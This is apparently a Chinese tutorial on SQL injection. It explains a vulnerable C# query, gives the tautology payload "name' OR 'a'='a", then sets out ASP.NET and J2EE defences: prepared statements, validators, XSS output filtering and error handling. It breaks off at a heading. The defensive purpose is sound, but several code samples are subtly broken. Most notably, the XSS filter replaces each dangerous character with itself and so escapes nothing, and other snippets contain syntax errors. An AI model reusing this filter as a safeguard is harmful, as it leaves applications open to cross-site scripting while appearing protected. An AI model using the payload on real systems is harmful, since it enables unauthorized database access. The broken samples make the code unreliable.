0x00 前言
我们都知道在web 中有着各种数据注入攻击,其中有SQL注入、命令注入、XML注入等等。在平时我们渗透测试的任务中,如何快速检测和利用这些注入的漏洞,以下是一些注入命令总结
0x01 SQL 注入
例如,假设有一个带有登录表单的 HTML 页面,该页面最终使用用户输入对数据库运行以下 SQL 查询:
SELECT * FROM accounts WHERE username='$user' AND password='$pass'
两个变量($user 和 $pass)包含了用户在登录表单中输入的用户凭证。因此,如果用户输入“jsmith”作为用户名,并输入“Demo1234”作为密码,那么 SQL 查询将如下所示:
SELECT * FROM accounts WHERE username='jsmith' AND password='Demo1234'
但如果用户输入“'”(单撇号)作为用户名,输入“'”(单撇号)作为密码,那么 SQL 查询将如下所示:
SELECT * FROM accounts WHERE username=''' AND password='''
当然,这是格式错误的 SQL 查询,并将调用错误消息,而该错误消息可能会在 HTTP 响应中返回。通过此类错误,攻击者会知道 SQL 注入已成功,这样攻击者就会尝试进一步的攻击媒介。
利用的样本:
以下 C# 代码会动态构造并执行 SQL 查询来搜索与指定名称匹配的项。该查询将所显示的项限制为其所有者与当前已认证用户的用户名相匹配的项。
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = "'"
+ userName + "' AND itemname = '"
+ ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
此代码打算执行的查询如下所示:
SELECT * FROM items WHERE owner = AND itemname = ;
但是,由于该查询是通过并置常量基本查询字符串和用户输入字符串来动态构造的,因此仅当 itemName 不包含单引号字符时,该查询才会正确运行。如果用户名为 wiley 的攻击者针对 itemName 输入字符串“name' OR 'a'='a”,那么查询将变为以下内容:
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
添加 OR 'a'='a' 条件导致 where 子句始终求值为 true,因此该查询在逻辑上将变为等价于以下更简单的查询:
SELECT * FROM items;
威胁影响:可能会查看、修改或删除数据库条目和表
产生原因:未对用户输入正确执行危险字符清理
[1] 策略:库或框架
使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。
[2] 策略:参数化
如果可用,使用自动实施数据和代码之间的分离的结构化机制。这些机制也许能够自动提供相关引用、编码和验证,而不是依赖于开发者在生成输出的每一处提供此能力。
[3] 策略:环境固化
使用完成必要任务所需的最低特权来运行代码。
[4] 策略:输出编码
如果在有风险的情况下仍需要使用动态生成的查询字符串或命令,请对参数正确地加引号并将这些参数中的任何特殊字符转义。
[5] 策略:输入验证假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于将恶意或格式错误的输入加入黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入格式不正确,以致应当将其彻底拒绝。
Asp.Net
以下是保护 Web 应用程序免遭 SQL 注入攻击的两种可行方法:
[1] 使用存储过程,而不用动态构建的 SQL 查询字符串。 将参数传递给 SQL Server 存储过程的方式,可防止使用单引号和连字符。
以下是如何在 ASP.NET 中使用存储过程的简单示例:
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter
Dim SelectCommand As String = "select * from users where username = @username"
...
MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username", SqlDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value
// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);
myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username", SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
[2] 您可以使用验证控件,将输入验证添加到“Web 表单”页面。 验证控件提供适用于所有常见类型的标准验证的易用机制 - 例如,测试验证日期是否有效,或验证值是否在范围内 - 以及进行定制编写验证的方法。此外,验证控件还使您能够完整定制向用户显示错误信息的方式。验证控件可搭配“Web 表单”页面的类文件中处理的任何控件使用,其中包括 HTML 和 Web 服务器控件。
为了确保用户输入仅包含有效值,您可以使用以下其中一种验证控件:
a. “RangeValidator”:检查用户条目(值)是否在指定的上下界限之间。 您可以检查配对数字、字母字符和日期内的范围。
b. “RegularExpressionValidator”:检查条目是否与正则表达式定义的模式相匹配。 此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。
重要注意事项:验证控件不会阻止用户输入或更改页面处理流程;它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。
有两种方法可检查用户输入的有效性:
1. 测试常规错误状态:
在您的代码中,测试页面的 IsValid 属性。该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。
2. 测试个别控件的错误状态:
在页面的“验证器”集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。
J2EE
** 预编译语句:
以下是保护应用程序免遭 SQL 注入(即恶意篡改 SQL 参数)的三种可行方法。 使用以下方法,而非动态构建 SQL 语句:
[1] PreparedStatement,通过预编译并且存储在 PreparedStatement 对象池中。 PreparedStatement 定义 setter 方法,以注册与受支持的 JDBC SQL 数据类型兼容的输入参数。 例如,setString 应该用于 VARCHAR 或 LONGVARCHAR 类型的输入参数(请参阅 Java API,以获取进一步的详细信息)。 通过这种方法来设置输入参数,可防止攻击者通过注入错误字符(如单引号)来操纵 SQL 语句。
如何在 J2EE 中使用 PreparedStatement 的示例:
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
// using the DataSource to get a managed connection
Context ctx = new InitialContext();
myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
} else {
try {
// using the DriverManager to get a JDBC connection
Class.forName(jdbcDriverClassPath);
myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
} catch (ClassNotFoundException e) {
...
}
}
...
try {
PreparedStatement myStatement = myConnection.prepareStatement("select * from users where username = ?");
myStatement.setString(1, userNameField);
ResultSet rs = myStatement.executeQuery();
...
rs.close();
} catch (SQLException sqlException) {
...
} finally {
myStatement.close();
myConnection.close();
}
[2] CallableStatement,扩展 PreparedStatement 以执行数据库 SQL 存储过程。 该类继承 PreparedStatement 的输入 setter 方法(请参阅上面的 [1])。
以下示例假定已创建该数据库存储过程:
CREATE PROCEDURE select_user (@username varchar(20))
AS SELECT * FROM USERS WHERE USERNAME = @username;
如何在 J2EE 中使用 CallableStatement 以执行以上存储过程的示例:
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
// using the DataSource to get a managed connection
Context ctx = new InitialContext();
myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
} else {
try {
// using the DriverManager to get a JDBC connection
Class.forName(jdbcDriverClassPath);
myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
} catch (ClassNotFoundException e) {
...
}
}
...
try {
PreparedStatement myStatement = myConnection.prepareCall("{?= call select_user ?,?}");
myStatement.setString(1, userNameField);
myStatement.registerOutParameter(1, Types.VARCHAR);
ResultSet rs = myStatement.executeQuery();
...
rs.close();
} catch (SQLException sqlException) {
...
} finally {
myStatement.close();
myConnection.close();
}
[3] 实体 Bean,代表持久存储机制中的 EJB 业务对象。 实体 Bean 有两种类型:bean 管理和容器管理。 当使用 bean 管理的持久性时,开发者负责撰写访问数据库的 SQL 代码(请参阅以上的 [1] 和 [2] 部分)。 当使用容器管理的持久性时,EJB 容器会自动生成 SQL 代码。 因此,容器要负责防止恶意尝试篡改生成的 SQL 代码。
如何在 J2EE 中使用实体 Bean 的示例:
// J2EE EJB Example
try {
// lookup the User home interface
UserHome userHome = (UserHome)context.lookup(User.class);
// find the User remote interface
User = userHome.findByPrimaryKey(new UserKey(userNameField));
...
} catch (Exception e) {
...
}
推荐使用的 JAVA 工具
不适用
参考资料
http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html http://java.sun.com/j2se/1.4.1/docs/api/java/sql/CallableStatement.html** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须使用 Servlet 在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为“验证器”实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。
[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。
如何验证必需字段的示例:
// Java example to validate required fields
public Class Validator {
...
public static boolean validateRequired(String value) {
boolean isFieldValid = false;
if (value != null && value.trim().length() > 0) {
isFieldValid = true;
}
return isFieldValid;
}
...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
// fieldValue is valid, continue processing request
...
}
[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。
验证数字字段(int 类型)的方式的示例:
// Java example to validate that a field is an int number
public Class Validator {
...
public static boolean validateInt(String value) {
boolean isFieldValid = false;
try {
Integer.parseInt(value);
isFieldValid = true;
} catch (Exception e) {
isFieldValid = false;
}
return isFieldValid;
}
...
}
...
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
// fieldValue is valid, continue processing request
...
}
好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
// convert fieldValue to an Integer
Integer integerValue = Integer.getInteger(fieldValue);
// store integerValue in a request attribute
request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
应用程序应处理的主要 Java 数据类型:
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date
[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:
// Example to validate the field length
public Class Validator {
...
public static boolean validateLength(String value, int minLength, int maxLength) {
String validatedValue = value;
if (!validateRequired(value)) {
validatedValue = "";
}
return (validatedValue.length() >= minLength &&
validatedValue.length() <= maxLength);
}
...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
if (Validator.validateLength(userName, 8, 20)) {
// userName is valid, continue further processing
...
}
}
[4] 字段范围
始终确保输入参数是在由功能需求定义的范围内。
以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:
// Example to validate the field range
public Class Validator {
...
public static boolean validateRange(int value, int min, int max) {
return (value >= min && value <= max);
}
...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
if (Validator.validateInt(fieldValue)) {
int numberOfChoices = Integer.parseInt(fieldValue);
if (Validator.validateRange(numberOfChoices, 10, 20)) {
// numberOfChoices is valid, continue processing request
...
}
}
}
[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:
// Example to validate user selection against a list of options
public Class Validator {
...
public static boolean validateOption(Object[] options, Object value) {
boolean isValidValue = false;
try {
List list = Arrays.asList(options);
if (list != null) {
isValidValue = list.contains(value);
}
} catch (Exception e) {
}
return isValidValue;
}
...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
// valid user selection, continue processing request
...
}
[6] 字段模式
始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$
Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
...
public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired(expression)) {
RE r = new RE(expression);
match = r.match(value);
}
return match;
}
...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
// userName is valid, continue processing request
...
}
Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
...
public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired(expression)) {
match = Pattern.matches(expression, value);
}
return match;
}
...
}
[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。
验证必需 cookie 值的示例:
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
// find the "user" cookie
for (int i=0; i<cookies.length; ++i) {
if (cookies[i].getName().equals("user")) {
// validate the cookie value
if (Validator.validateRequired(cookies[i].getValue()) {
// valid cookie value, continue processing request
...
}
}
}
}
[8] HTTP 响应
[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +
以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
...
public static String filter(String value) {
if (value == null) {
return null;
}
StringBuffer result = new StringBuffer(value.length());
for (int i=0; i<value.length(); ++i) {
switch (value.charAt(i)) {
case '<':
result.append("<");
break;
case '>':
result.append(">");
break;
case '"':
result.append(""");
break;
case '\'':
result.append("'");
break;
case '%':
result.append("%");
break;
case ';':
result.append(";");
break;
case '(':
result.append("(");
break;
case ')':
result.append(")");
break;
case '&':
result.append("&");
break;
case '+':
result.append("+");
break;
default:
result.append(value.charAt(i));
break;
}
return result;
}
...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
Java Servlet API 2.3 引进了“过滤器”,它支持拦截和转换 HTTP 请求或响应。
以下示例使用 Validator.filter 来用“Servlet 过滤器”清理响应:
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
// This example is for illustration purposes since it will filter all content in the response, including HTML tags!
public class SensitiveCharsFilter implements Filter {
...
public void doFilter(ServletRequest request,
ServletResponse response,
FilterChain chain)
throws IOException, ServletException {
PrintWriter out = response.getWriter();
ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
chain.doFilter(request, wrapper);
CharArrayWriter caw = new CharArrayWriter();
caw.write(Validator.filter(wrapper.toString()));
response.setContentType("text/html");
response.setContentLength(caw.toString().length());
out.write(caw.toString());
out.close();
}
...
public class CharResponseWrapper extends HttpServletResponseWrapper {
private CharArrayWriter output;
public String toString() {
return output.toString();
}
public CharResponseWrapper(HttpServletResponse response){
super(response);
output = new CharArrayWriter();
}
public PrintWriter getWriter(){
return new PrintWriter(output);
}
}
}
}
[8-2] 保护 cookie
在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。
保护“用户”cookie 的示例:
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:
[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置“filter=false”标志来禁用该过滤。
Struts 定义以下基本输入验证器,但也可定义定制的验证器:
required:如果字段包含空格以外的任何字符,便告成功。
mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。
range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。
maxLength:如果字段长度小于或等于 max 属性,便告成功。
minLength:如果字段长度大于或等于 min 属性,便告成功。
byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。
date:如果值代表有效日期,便告成功。可能会提供日期模式。
creditCard:如果值可以是有效的信用卡号码,便告成功。
e-mail:如果值可以是有效的电子邮件地址,便告成功。
使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:
<form-validation>
<global>
...
<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">
</validator>
<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">
</validator>
...
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->
<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>^[a-zA-Z0-9]*$</var-value>
</var>
</field>
...
</form>
...
</formset>
</form-validation>
[2] JavaServer Faces 技术
“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和输入验证的 Java API(JSR 127)。
JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器: validate_doublerange:在组件上注册 DoubleRangeValidator
validate_length:在组件上注册 LengthValidator
validate_longrange:在组件上注册 LongRangeValidator
validate_required:在组件上注册 RequiredValidator
validate_stringrange:在组件上注册 StringRangeValidator
validator:在组件上注册定制的 Validator
JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):
input_date:接受以 java.text.Date 实例格式化的 java.util.Date
output_date:显示以 java.text.Date 实例格式化的 java.util.Date
input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date
output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date
input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)
output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)
input_text:接受单行文本字符串。
output_text:显示单行文本字符串。
input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date
output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date
input_hidden:允许页面作者在页面中包括隐藏变量
input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号
input_textarea:接受多行文本
output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息
output_label:将嵌套的组件显示为指定输入字段的标签
output_message:显示本地化消息
使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command_button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>
引用
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/Java 正则表达式包 -
http://jakarta.apache.org/regexp/Jakarta 验证器 -
http://jakarta.apache.org/commons/validator/JavaServer Faces 技术 -
http://java.sun.com/j2ee/javaserverfaces/** 错误处理:
许多 J2EE Web 应用程序体系结构都遵循“模型视图控制器(MVC)”模式。在该模式中,Servlet 扮演“控制器”的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。
数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:
[1] 定义错误
[2] 报告错误
[3] 呈现错误
[4] 错误映射
[1] 定义错误
应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要“user_name”字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:
(a) ERROR_USERNAME_REQUIRED:该错误密钥用于显示消息,以通知用户需要“user_name”字段;
(b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户“user_name”字段应该是字母数字;
(c) ERROR_USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户“user_name”值在数据库中重复;
(d) ERROR_USERNAME_INVALID:该错误密钥用于显示一般消息,以通知用户“user_name”值无效;
好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:
- ErrorKeys:定义所有错误密钥
// Example: ErrorKeys defining the following error keys:
// - ERROR_USERNAME_REQUIRED
// - ERROR_USERNAME_ALPHANUMERIC
// - ERROR_USERNAME_DUPLICATE
// - ERROR_USERNAME_INVALID
// ...
public Class ErrorKeys {
public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
...
}
- Error:封装个别错误
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {
// Constructor given a specified error key
public Error(String key) {
this(key, null);
}
// Constructor given a specified error key and array of placeholder objects
public Error(String key, Object[] values) {
this.key = key;
this.values = values;
}
// Returns the error key
public String getKey() {
return this.key;
}
// Returns the placeholder values
public Object[] getValues() {
return this.values;
}
private String key = null;
private Object[] values = null;
}
- Errors:封装错误的集合
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {
// Adds an Error object to the Collection of errors for the specified bean property.
public void addError(String property, Error error) {
ArrayList propertyErrors = (ArrayList)errors.get(property);
if (propertyErrors == null) {
propertyErrors = new ArrayList();
errors.put(property, propertyErrors);
}
propertyErrors.put(error);
}
// Returns true if there are any errors
public boolean hasErrors() {
return (errors.size > 0);
}
// Returns the Errors for the specified property
public ArrayList getErrors(String property) {
return (ArrayList)errors.get(property);
}
private HashMap errors = new HashMap();
}
以下是使用上述框架类来处理“user_name”字段验证错误的示例:
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
// (c) Duplicate check validation rule
// We assume that there is an existing UserValidationEJB session bean that implements
// a checkIfDuplicate() method to verify if the user already exists in the database.
try {
...
if (UserValidationEJB.checkIfDuplicate(userName)) {
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
}
} catch (RemoteException e) {
// log the error
logger.error("Could not validate user for specified userName: " + userName);
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
}
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
[2] 报告错误
有两种方法可报告 web 层应用程序错误:
(a) Servlet 错误机制
(b) JSP 错误机制
[2-a] Servlet 错误机制
Servlet 可通过以下方式报告错误:
- 转发给输入 JSP(已将错误存储在请求属性中),或
- 使用 HTTP 错误代码参数来调用 response.sendError,或
- 抛出异常
好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
rd.forward(request, response);
}
如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
// messages is a resource bundle with all message keys and values
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类: - RuntimeException - ServletException - IOException
[2-b] JSP 错误机制
JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:
<%@ page errorPage="/errors/userValidation.jsp" %>
未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令,如下所示:
<%@ page isErrorPage="true" %>
isErrorPage 伪指令导致“exception”变量初始化为所抛出的异常对象。
[3] 呈现错误
J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:
(a) 资源束
(b) 消息格式化
[3-a] 资源束
资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。
java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required
# invalid user name format
error.username.alphanumeric=User name must be alphanumeric
# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one
...
可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是 ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。
[3-b] 消息格式化
J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {
// Returns the error message for the specified error key in the environment locale
public String getErrorMessage(String errorKey) {
return getErrorMessage(errorKey, defaultLocale);
}
// Returns the error message for the specified error key in the specified locale
public String getErrorMessage(String errorKey, Locale locale) {
return getErrorMessage(errorKey, null, locale);
}
// Returns a formatted error message for the specified error key in the specified locale
public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
// Get localized ErrorMessageResource
ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
// Get localized error message
String errorMessage = errorMessageResource.getString(errorKey);
if (args != null) {
// Format the message using the specified placeholders args
return MessageFormat.format(errorMessage, args);
} else {
return errorMessage;
}
}
// default environment locale
private Locale defaultLocale = Locale.getDefaultLocale();
}
...
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
// iterate through errors and output error messages corresponding to the "user_name" property
ArrayList userNameErrors = errors.getErrors("user_name");
ListIterator iterator = userNameErrors.iterator();
while (iterator.hasNext()) {
// Get the next error object
Error error = (Error)iterator.next();
String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
output.write(errorMessage + "\r\n");
}
}
建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。
[4] 错误映射
